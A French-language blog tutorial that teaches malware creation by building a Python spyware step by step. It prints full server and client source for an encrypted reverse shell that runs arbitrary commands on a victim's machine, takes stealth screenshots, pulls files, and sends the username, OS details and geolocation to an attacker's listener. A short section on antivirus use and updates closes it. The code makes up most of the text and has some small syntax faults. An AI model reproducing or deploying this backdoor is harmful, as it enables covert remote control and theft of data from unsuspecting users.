Malware: l’origine de tout virus !

  1. Introduction

Aujourd’hui nous allons parler des logiciels malveillants aka « Malware », ce terme englobe tous les logiciels malveillants dont l’un très connu : le Trojan (cheval de troie).Pour rappel, un logiciel malveillant est un programme développé dans le but de nuire à un système informatique, l’obtention se fait toujours sans le consentement de l’utilisateur. Afin de mieux situer voici le diagramme du malware et de ses composants:

Une image contenant signe, capture d’écran Description générée automatiquement

 

Définitions :

  • Cryptolocker : est un logiciel malveillant de type cheval de Troie qui chiffre toutes les données utilisateurs, si l’utilisateur souhaite récupérer ses données, il devra payer une rançon. Cette rançon est toujours en crypto monnaie dû à la non-traçabilité des personnes l’utilisant.
  • Crypto monnaie : est une monnaie utilisée sur les réseaux informatiques
  • Carding : il s’agit des fraudes liées au carte de crédits sur internet, comme la récupération d’informations bancaires, l’utilisation et la revente de celles-ci.
  • Script kiddie : personne généralement dépourvues de compétences dans le secteur informatiques, utilisant des logiciels malveillants développer par des autres pour tenter d’infiltrer des systèmes informatiques. Ces personnes restent tout de même une menace importante !

Avant la création d’un malware, le pirate que l’on appellera l’attaquant, définit un but. Par exemple, l’attaquant peut décider d’utiliser son malware pour faire de l’espionnage, cryptolocker un pc et demander une rançon, ou encore faire du carding. Après avoir trouvé le but de son logiciel, deux choix s’opposent à lui, soit trouver/payer un logiciel malveillant existant répondant à sa demande ou alors le créer lui-même afin d’acquérir des compétences supplémentaires. L’info insolite : la plupart des attaquants utilisent des logiciels malveillants acheté ce qui fait d’eux des script kiddie.

Maintenant que nous avons expliqué les pré-requis, nous pouvons décider de créer un malware. Ce malware aura pour but d’accéder au pc à distance en ligne de commande, d’accéder aux frappes de la victime infecté, mais aussi de savoir ce qu’il fait en temps réel en prenant des captures d’écran, il sera alors nommé Spyware. Maintenant que nous avons un but, les deux choix s’opposent à nous, acheter un malware répondant à notre but ou le faire nous-même. Afin de se challenger un peu, nous décidons de créer nous-même notre Spyware en python.

Création du Spyware :

Création du reverse Shell :

Objectifs :

  • Créer notre reverse Shell
  • Chiffrer les communications

 

Théorie :

Définitions :
  • Hash : est le résultat d’une fonction de hachage, il est aussi appelé empreinte.

  • Salage : est un entier qui est ajouté à la fonction de hachage et qui permet de créer des hash singulier (pas les même) pour une même entrée.
  • Exemple de hash MD5 sans salage :
    1. Bonsoir : EFC783916DB2EFD45CDBE88673533CBA
    2. Bonsoir : EFC783916DB2EFD45CDBE88673533CBA
    3. bonsoir : B9A6D02F68947DDF2EDC86A59C3AF4CA
  • Exemple de hash MD5 avec salage :
    1. Bonsoir : d66c2403744a90a63e859f62e6b16717
    2. Bonsoir : 62bd02c7d36ee39c984975896d01cfc0
Qu’est-ce qu’un reverse Shell :

C’est une invite de commande à distance, c’est à dire que l’attaquant aura accès à la ligne de commande de la victime et donc pourra entrer n’importe quelle commande et en recevoir le résultat. Mieux vaut un exemple qu’un long discourt :

 

Comment chiffrer les communications :

Dans notre cas, nous allons utiliser le chiffrement par AES EAX, pour en savoir plus sur le moyen de chiffrement je vous invite à visiter ce lien : https://en.wikipedia.org/wiki/EAX_mode.
En résumé, nous allons chiffrer et déchiffré grâce à un mot de passe de 16bits, lors du chiffrement nous obtiendrons le texte chiffré ainsi qu’un hash, qui plus tard nous permettra de vérifier l’intégrité du message. Afin de rendre les messages encore moins lisibles nous utiliserons aussi le salage.

Pratique :

Code :

https://github.com/hutchYy/reverse_shell_encrypted

Connexions chiffrées :
Avant la mise en place d’une solution chiffrée :

Dans l’état ou est le logiciel, les communications entre le serveur et le client sont capturable et lisible :

Après la mise en place d’une solution chiffrée :

Maintenant que nous avons mis en place le chiffrement des communications nous allons vérifier le résultat :

 

Création d’un menu de navigation :
Idéologie et schématique :

L’idée de base a été de créer un menu représente l’identité du malware, c’est-à-dire un menu simpliste qui permet de quasi tout faire sans à taper une seule ligne de commande, mais si l’utilisateur avait la volonté d’aller plus loin il peut rentrer dans un mode « expert » ou la ligne de commande n’est pas bridé et où il peut prendre des captures d’écran à partir du cmd.

Topologie :

Capture d’écran :
Prérequis :

Pour pouvoir ajouter la fonction de capture d’écran, nous avons cherché après un plugin le permettant. Le nom du plugin est « pillow », afin d’assurer la disponibilité cross-platform nous installons aussi pyscreenshot qui utilise le plugin pillow. Ensuite, il est nécessaire de réfléchir à la solution pour récupérer l’image. Ici nous utiliserons une commande envoyée au client, elle-même traiter par le client afin d’initier un flux TCP et donc d’envoyer l’image.

Application :
from PIL import ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save('screenshot.png')
# show the image
im.show()
Résultat :

Os description :
Prérequis :

Pour pouvoir ajouter la fonction description de l’os,

Il nous faudra importer les dépendances suivantes :

  • Platform
  • Os
  • Getpass

Ensuite, nous allons récupérer les informations sensibles sur le client et les envoyer vers le server. Pour cela, lors de la connexion initiale, le client va envoyer toutes les informations.

Application :

#CODE#

Résultat :

Reverse Shell :
Prérequis :

 

Pour pouvoir ajouter la fonction reverse Shell,

Il nous faudra importer les dépendances suivantes :

      • Subprocess
      • Os

Beaucoup de code pour les Reverse Shell existent sur internet, dans le cas présent et afin de faciliter la mise en place rapide de notre malware nous allons récupérer un code déjà existant et l’utiliser.

Application :
#SERVER.PY

# -*-coding:Latin-1 -*
import socket,os
def welcomme ():
    print("       ___         ___   ___         ___         ___   ___         ___         ___         ___  \r")
    print("|   | |     |     |     |   | |\ /| |             |   |   |       |           |   | |\  | |     \r")
    print("| + | |-+-  |     |     |   | | + | |-+-          +   |   |       |-+-        |   | | + | |-+-  \r")
    print("|/ \| |     |     |     |   | |   | |             |   |   |       |           |   | |  \| |     \r")
    print("       ---   ---   ---   ---         ---               ---                -    ---         ---  \r")
    print("                                                                                                ")

def reverseShell():
    while True:
        command = input(client_ip+ " > ")
        elif(command == "quit"):
            client_socket.send(("exit").encode())
            break
        else :
            try:
                if(len(command.split()) != 0):
                    client_socket.send(command.encode())
                    print(client_socket.recv(1024).decode())
                else:
                    print("continue")
                    continue
            except(EOFError):
                    print("Invalid input, type 'help' to get a list of implemented commands.\n")
                    continue

        
HOST = '0.0.0.0' #LET ALL INBOUNDS CONNEXIONS
PORT = 6969 #SETUP THE PORT FOR THE INBOUNDS CONNEXIONS

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # Crée un serveur tcp
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # Aide en cas de perte de connexion
server_socket.bind((HOST, PORT))
server_socket.listen(5)  # Nombre de connexions maximum
print("\n[*] Listening on port " +str(PORT)+ ", waiting for connexions.")
client_socket, (client_ip, client_port) = server_socket.accept()
print("[*] Client " +client_ip+ " connected.\n")

welcomme()
reverseShell()

client_socket.close()
#CLIENT.PY
import socket,subprocess, os

HOST = "192.168.0.12"  # attacker's IP adress (this is a random one, just to show you)
PORT = 6969 # attacker's port on which server is listening
 
# same syntax here as for the server
connexion_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connexion_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
connexion_socket.connect((HOST, PORT))
print("\n[*] Connected to " +HOST+ " on port " +str(PORT)+ ".\n")

 
while True:
    command = connexion_socket.recv(1024).decode()
    split_command = command.split()
    print("Received command : " +command)
    # if its quit, then break out and close socket
    if command == "quit":
         break

    if(command.split()[0] == "cd"):
            if len(command.split()) == 1:
                connexion_socket.send((os.getcwd()))
                print("DEBUG CD ==1")
            elif len(command.split()) == 2:
                print("DEBUG CD ==2")
                try:
                    os.chdir(command.split()[1])
                    connexion_socket.send(("Changed directory to " + os.getcwd()).encode())
                except OSError as winerror:
                    connexion_socket.send(("No such directory : " +os.getcwd()).encode())
 
    else:
        # do shell command
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        stdout_value = stdout_value.decode()
        # send output to attacker
        print(stdout_value)
        if(stdout_value != ""):
            connexion_socket.send(stdout_value.encode())  # renvoit l'output  à l'attaquant
        else:
            connexion_socket.send((command+ " does not return anything").encode())
connexion_socket.close()
Résultat :

Malware :
Fusion des codes :

Maintenant que chaque partie du malware a été compléter nous allons les assembler afin qu’ils fonctionnent ensembles et constitue notre Malware.

Application :
#SERVER.PY

# -*- coding: utf-8 -*
import socket,os, platform, time, encrypted_connection, datetime, geolocalisation
HOST = '0.0.0.0' #Set as every ip address can connect to the server.
PORT = 6969
defaultPath = None
def consoleCleaner(enterToContinue): #When called, clear the console. If called with True argument, wait for enter to continue.
    if enterToContinue == True :
        try:
            input("Press enter to continue")
        except SyntaxError:
            pass
    if  platform.system() == "Windows" :
        os.system('cls')
    else :
        os.system('clear')
def welcomme(): #Message to welcomme the user,called once at the MAIN LOOP start.
    print("       ___         ___   ___         ___         ___   ___         ___         ___         ___  \r")
    print("|   | |     |     |     |   | |\ /| |             |   |   |       |           |   | |\  | |     \r")
    print("| + | |-+-  |     |     |   | | + | |-+-          +   |   |       |-+-        |   | | + | |-+-  \r")
    print("|/ \| |     |     |     |   | |   | |             |   |   |       |           |   | |  \| |     \r")
    print("       ---   ---   ---   ---         ---               ---                -    ---         ---  \r")
    print("                                                                                                ")
def menu(menu): #Contain the menus used in the main loop (Main or Keylooger).
    if (menu == "principale"):
        print("+----------------------+\n"
            "|         Menu         |\n"
            "+----------------------+\n"
            "| 1. Screen that beach |\n"
            "| 2. Os infos          |\n"
            "| 3. Reverse shell     |\n"
            "| 4. Expert Mode       |\n"
            "| 5. Exit              |\n"
            "+----------------------+")
 
def selection(menu,choix) : #Switch case, to dispatch menu possibilities.
    if menu == "principale" :
        if choix == "1" :
            print("Let's see that screen !")
            screenThatbeach()
            return True
        elif choix == "2" :
            print("Hum, let's discover !")
            print("\n\n" + OsVictimInfos + "\n\n")
            consoleCleaner(True)
            return True
        elif choix == "3" :
            print("Good choice, let's get in !")
            time.sleep(1)
            consoleCleaner(False)
            reverseShell(False, False)
            return True
        elif choix == "4" :
            print("Let's go deeper !")
            time.sleep(1)
            consoleCleaner(False)
            reverseShell(True, True)
            return True
        elif choix == "5" :
            print("\nSee you later !")
            encrypter.send_message_server("exit")
            time.sleep(1.5)
            consoleCleaner(False)
            return False
        else :
            print("Bad choice, try again !")
            time.sleep(1)
            consoleCleaner(False)
            return True
def KeyLogger(): #Keylogger menu -  If chosen, display the Keylogger menu and create a loop.
    exitKeyLogger = True
    while exitKeyLogger :
        menu("keylogger")
        exitKeyLogger = selection("keylogger",input(">"))
def reverseShell(screenThatbeachAcces, keyLogger): #If chosen, open a shell that interact with victim's pc.cat
    global defaultPath
    encrypter.send_message_server("cd "+ defaultPath)
    encrypter.receive_message_server()
    client_path = defaultPath
    while True:
        command = input(client_path+ " > ")
        if((command == "stb") & (screenThatbeachAcces == False)) :
            print("Acces forbidden")
        elif((command == "stb") & (screenThatbeachAcces == True)):
            print("taking the screenshot")
            screenThatbeach()
        elif("dl" in command):
            try :
                command_split = command.split()
                downloadFile(command_split[1])
            except :
                print("No file name !")
        elif((command == "keylogger") & (keyLogger == False)):
            print("Acces forbidden")    
        elif((command == "keylogger") & (keyLogger == True)):
            print("Not available now !")
            #client_socket.send(command.encode("utf-8"))
        elif(command == "state"):
            print(OsVictimInfos)
        elif(command == "home"):
            encrypter.send_message_server("cd "+ defaultPath)
            client_path = defaultPath
            encrypter.receive_message_server()
        elif(command == "clear"):
            consoleCleaner(False)
        elif(command == "quit"):
            consoleCleaner(False)
            break
        else :
            try:
                if(len(command.split()) != 0):
                    encrypter.send_message_server(command)
                    message = encrypter.receive_message_server()
                    if "Directory : " in str(message) :
                        try :
                            useless, client_path = message.split(" : ")
                        except :
                            print("No path has been sent.")
                    else :
                        print(message)
                else:
                    print("continue")
                    continue
            except(EOFError):
                    print("Invalid input, type 'help' to get a list of implemented commands.\n")
                    continue
def screenThatbeach(): #If chosen, take a stealth screenshot of the victim and save it in the .py executed path.
    encrypter.send_message_server("stb")
    captureName = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + ".png"
    path = "captures"
    try :
        if encrypter.DownloadFile(path, captureName):
            print("Download sucessful.")
            os.system("qlmanage -p " + path + "/"+ captureName + ">/dev/null 2>&1" )
            consoleCleaner(False)
        else :
            print("You do not have permissions to create a file there.")
    except :
        print("Problem in definition.")
        consoleCleaner(True)
def downloadFile(fileName : str):
    encrypter.send_message_server("dl "+ fileName)
    path = "downloaded_files"
    try :
        if encrypter.DownloadFile(path, fileName):
            print("Download sucessful.")
            os.system("qlmanage -p " + path + "/"+ fileName + ">/dev/null 2>&1" )
            consoleCleaner(False)
        else :
            print("The file you want to download doesn't exist !")
    except :
        print("Problem in definition.")
        consoleCleaner(True)
def parser(tupleArray : tuple):
    global defaultPath
    tupleArray = tupleArray.split("\n")
    useless, arg = tupleArray[3].split(" : ")
    useless, defaultPath = tupleArray[4].split(" : ")
    return arg

    
        
# STARTING MAIN LOOP.
#Calling the function to set the secret key
encrypter = encrypted_connection.encrypter(b"d41d8cd98f00b205")
#Calling the function to create the TCP server with specified PORT & HOST.
client_ip = encrypter.initialize_tcp_connexion_server(HOST,PORT)
#victimLocalisation = GetLocalisation(client_ip)
victimLocalisation = geolocalisation.GeoLocalisation(client_ip).locate()
consoleCleaner(False)
#Getting victim's os infos.
OsVictimInfos = encrypter.receive_message_server()
user = parser(OsVictimInfos)
#print(encrypter.decrypt(OsVictimInfos))

#Create a variable that is used to exit from the loop.
exitBackDoorLoop = True
if OsVictimInfos == "exit":
    exitBackDoorLoop = False

#Show the banner.
#Starting the main loop and waiting for exitBackDoorLoop to change to False.
while exitBackDoorLoop :
    welcomme()
    print("[*] " + user + " connected from " + client_ip + "\n")
    print("[*] Localisation : "+ victimLocalisation +"\n")
    print("[*] Default path : "+ defaultPath +"\n")
    menu("principale")
    exitBackDoorLoop = selection("principale",input(">"))
encrypter.close_tcp_connexion_server()
#CLIENT.PY
import socket, subprocess, os, platform, logging, threading,time,getpass, encrypted_connection
if platform.system() == "Windows" :
    from PIL import ImageGrab
else :
    import pyscreenshot as ImageGrab
#from pynput.keyboard import Key, Listener

HOST = "localhost"  # attacker's IP adress (this is a random one, just to show you)
PORT = 6969 # attacker's port on which server is listening
 
# same syntax here as for the server
encrypter = encrypted_connection.encrypter(b"d41d8cd98f00b205")
encrypter.initialize_tcp_connexion_client(HOST,PORT)
#KeyLoggerThread = KeyLoggerThread()
#KeyLoggerThread.start()
encrypter.send_message_client("Nom : "+os.name+"\nSysteme : "+platform.system()+"\nKernel : "+ platform.release() + "\nUser : "+getpass.getuser() + "\nDefault path : "+ os.getcwd())
 
while True:
    command = ""
    command = encrypter.receive_message_client()
    #print("Received command : " +command)
    if(command.split()[0] == "cd"):
            if len(command.split()) == 1:
                encrypter.send_message_client((os.getcwd()))
            elif len(command.split()) == 2:
                try:
                    os.chdir(command.split()[1])
                    encrypter.send_message_client(("Directory : " + os.getcwd()))
                except OSError as winerror:
                    encrypter.send_message_client(("No such directory in : " +os.getcwd()))
    elif command == "stb" :
        im = ImageGrab.grab()
        fileName = "pic.png"
        try :
            im.save(fileName)
            encrypter.UploadFile(fileName)
            os.remove(fileName)
        except :
            encrypter.send_message_client(("permissionsfailed"))
    elif "dl" in command :
        split_command = command.split()
        try :
            encrypter.UploadFile(split_command[1])
        except:
           encrypter.send_message_client(("permissionsfailed"))
    elif command == "exit" :
        break
    else:
        # do shell command
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # read output
        stdout_value = proc.stdout.read() + proc.stderr.read()
        # send output to attacker
        if(stdout_value != ""):
            encrypter.send_raw_data_client(stdout_value)  # renvoit l'output  à l'attaquant
            #print(stdout_value.decode("utf-8"))
        else:
            encrypter.send_raw_data_client((command+ " does not return anything"))
encrypter.close_tcp_connexion_client()
Résultat :

Défense face aux malwares :

Utilisation d’un logiciel antivirus et anti-malware :

L’antivirus peut se révéler efficace lorsqu’il s’agit de combattre des programmes malveillants attaquant des « masses ». Il possède un gros point faible, il est inefficace lors d’une attaque ciblée. Donc rappelez vous ne serez jamais invulnérable aux attaques ! En ce qui concerne les anti-malware, il y en a deux types :
  • Curatif : ceux que l’on utilise quand on à été infecté.
  • Préventif : ceux qui tournent comme un antivirus en permanence et scan le système de temps à autre.

Logiciels conseillé  :

Antivirus :

Il est difficile de vous conseiller le quel est le meilleur car le débat est controversé mais voici une liste des défenseurs gratuits les plus connus :

  1. Avast
  2. AVG
  3. Avira
  4. Panda
  5. Kaspersky
Anti-malware :

La marché de l’anti-malware est en pleine expansion, il existe un précurseur appelé Malwarebyte, celui-ci est un logiciel préventif installé sur votre pc. Le logiciel curatif le plus efficace est AdwCleaner.

Être vigilant sur l’internet :

Il vous est déjà arrivé d’être dans une situation où vous vous demandez si vous pouvez cliquer sur ceci ou cela, le plus simple est de se renseigner auprès d’une autorité compétente ou alors simplement de fermer l’instance de navigation. Soyez tout aussi vigilant lors de l’ouverture de mail, car ceux-ci représente un vrai menace, il utilisent votre confiance, ainsi que votre naïveté, pour vous faire télécharger et exécuter des logicielles malveillants. Les moyen de s’en prémunir, sont :

  1. Vérifier qui est l’expéditeur (connu ou pas).
  2. Si il se trouve dans les spams, il faut doubler de méfiance.
  3. Regarder et se méfier des pièces jointes ou des liens.

Mettre à jour :

Les mise à jour du système d’exploitation sont importantes, elles permettent au constructeur de réparer les failles trouvées soit par des employé ou par des chercheurs de bug dans des programme ou les systèmes d’exploitation. Les failles sont nommées « vulnérabilités ».De plus ces mise à jour, vous offrent souvent de nouvelles fonctionnalités et elle sont nécessaire pour permettre de garder un environment stable.

Conclusion :

En conclusion, la sécurité est basée sur la confiance qu’accorde un utilisateur à une application.  Afin d’éviter de se faire infecté, il est nécessaire de ne pas oublié les règles de bonne pratiques. Tel que, les mise à jour, la méfiance, l’anti-virus et si possible l’anti-malware. Il ne faut pas devenir paranoïaque, comme vous les savez, il est facile pour un attaquant de télécharger et utiliser un malware préfabriqué. Ce que vous ne savez peut-être pas c’est que les malware préfabriqué sont disponible en grande quantité sur internet, ce sont des logiciels malveillant étant, pour la plus part, déjà répertorié dans les base anti-virus donc, relax. La meilleur façon de comprendre les logiciels malveillant reste d’en créer et de les tester ethniquement.Pour finir, la sécurité informatique n’est que la limite de confiance que l’utilisateur accorde à son périphérique connecté, dès lors, comment être raisonnable ?

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *